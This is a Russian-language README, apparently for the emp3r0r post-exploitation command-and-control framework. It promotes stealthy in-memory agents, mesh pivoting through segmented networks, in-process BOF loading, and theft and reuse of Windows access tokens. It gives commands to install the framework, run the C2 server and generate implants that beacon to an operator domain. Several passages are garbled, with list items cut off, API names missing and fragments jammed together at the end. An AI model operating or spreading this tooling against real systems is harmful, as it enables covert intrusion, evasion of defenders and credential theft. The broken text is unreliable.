
Самовосстанавливающаяся Gossip Mesh C2 с поддержкой обнаружения пиров, кроссплатформенное выполнение BOF и скриптовые агенты.
Самовосстанавливающаяся C2-сеть на базе gossip-mesh с ассистируемым обнаружением пиров, кроссплатформенным выполнением BOF и скриптуемыми агентами.
emp3r0r — это продвинутый постэксплуатационный фреймворк с моделью нулевого доверия и система управления и контроля (C2), предназначенная для целевых сред Linux и Windows. Созданный с нуля для работы в высокозащищённых средах, emp3r0r сочетает автономную gossip-mesh сеть, бесфайловое выполнение только из памяти, кроссплатформенную загрузку BOF, передачу файлов между агентами и скриптуемые агенты, работающие в памяти, обеспечивая превосходную скрытность, операционный контроль и операционную безопасность (OPSEC).
Агенты emp3r0r включают встроенный скриптовый движок Starlark (диалект Python, реализованный полностью на Go). Скрипты выполняются бесфайлово в памяти, без необходимости установки Python, Bash или PowerShell на целевой системе.
/bin/sh, powershell.exe) и без опоры на установленные среды выполнения.read_file, write_file, list_dir, mkdir, remove, exists), HTTP-сетью (http_get, http_post), выполнения команд (exec_cmd) и хеширования (crypto_hash).win_call, , , ) напрямую из скриптового кода без компиляции нативного C-кода.Почему это важно: Традиционные скриптовые модули C2 требуют интерпретаторов на хосте или порождения процессов, оставляя заметные следы на диске или в командной строке. Скриптуемые агенты emp3r0r выполняют сложную логику полностью в памяти с нативным взаимодействием с системой.
emp3r0r применяет Trust-On-First-Use (TOFU) со строгим закреплением UUID и открытого ключа при регистрации агента.
forget_agent.Почему это важно: Предотвращает перехват сессий, клонирование агентов и незаметный дрейф идентичности в разных операционных средах.
Все каналы связи C2 и между пирами используют обмен ключами ECDH с сеансовыми ключами, полученными через HKDF.
Почему это важно: Предотвращает ретроспективную расшифровку перехваченного сетевого трафика.
Агенты в сегментах сети с ограниченным исходящим трафиком или в изолированных сетях автономно обнаруживают пиров и туннелируют трафик через mesh-сеть на основе gossip-протокола (Memberlist).
Почему это важно: Пивотинг между сегментированными сетями происходит автономно, без постоянного вмешательства оператора или настройки статических прокси.
Прямой обмен файлами между агентами через P2P-ретрансляцию (mTLS/KCP) для ускорения доставки файлов во внутренних сетях.
Почему это важно: Прямой обмен файлами между агентами максимизирует скорость передачи, обходит сетевые узкие места и уменьшает заметность прямого трафика к C2.
Гибкие стейджеры-загрузчики для Stage 0 и протокольные слушатели для начального доступа и доставки полезной нагрузки.
.bin), автономные ELF-исполняемые файлы или shared objects (.so).Выполнение бинарных модулей в памяти как на Windows, так и на Linux:
int, short, cstr, wstr, binary)..o) напрямую в память агента в Linux.Почему это важно: Устраняет накладные расходы на создание процессов и обходит мониторинг командной строки, запуская скомпилированные C-модули внутри процесса.
Агенты на Windows могут похищать, кэшировать и использовать токены доступа запущенных процессов — полностью внутри процесса, с помощью косвенных NT-сисколов.
steal_token --pid <PID> дублирует токен процесса через NtOpenProcess + NtDuplicateToken и сохраняет его в памяти по SID. При желании можно выстроить цепочку имперсонаций с --token <sid>, чтобы перейти от одной похищенной учётной записи к другой.list_tokens отображает все кэшированные токены с именами вида DOMAIN\User (SID).--token <sid>) в любом модуле — Go, Starlark, COFF/BOF. Имперсонация на уровне потока (NtSetInformationThread) применяется при чувствительных операциях.read_file, write_file, exec_cmd, прокси Win32 API и др.) автоматически выполняют имперсонацию для каждого системного вызова, когда установлен токен, а может запускать дочерние процессы под похищенной учётной записью через .Почему это важно: Никаких внешних инструментов, артефактов на диске и шума от создания процессов. Похищение и повторное использование токенов происходит полностью внутри процесса через косвенные сисколы, а похищенные токены сразу доступны всем встроенным модулям.
http_poll) с настраиваемыми HTTP-профилями и стриминг (h2conn) поверх HTTP/2.Для сборки emp3r0r требуются Docker или Podman на хосте. Локальный инструментарий Go не требуется.
# Clone repository
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# Build inside a container and install locally
./install.sh
Установщик компилирует основные бинарные файлы во временном контейнере, создаёт предварительно собранный emp3r0r-operator-kit.tar.zst, настраивает требуемые Linux-возможности (setcap) и готовит системные каталоги времени выполнения.
Параметры:
./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]
Запуск C2-сервера:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
Примечание: Если установка выполнялась от пользователя root, а не через стандартный sudo, ваш текущий пользователь может не суметь запустить emp3r0r, поскольку установщик не сможет корректно выставить права. Это также относится к машинам операторов.
Перенесите сгенерированный emp3r0r-operator-kit.tar.zst на машину оператора и запустите установщик:
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh
Подключите клиент оператора к C2-серверу, используя учётные данные WireGuard-туннеля, выводимые сервером:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
Используйте команду generate в интерфейсе оператора emp3r0r для создания полезных нагрузок.
Агент с прямым подключением к C2:
generate --type linux_executable --arch amd64 --cc your.domain.com
Агент-шлюз mesh:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
Промежуточный пир mesh:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
Если emp3r0r оказался полезным в ваших исследованиях и тестировании безопасности, поддержите его дальнейшее развитие через GitHub Sponsors.
win_allocwin_freewin_read_memconfig.json) для бесшовного разбора параметров CLI и распространения.exec_cmdCreateProcessWithTokenW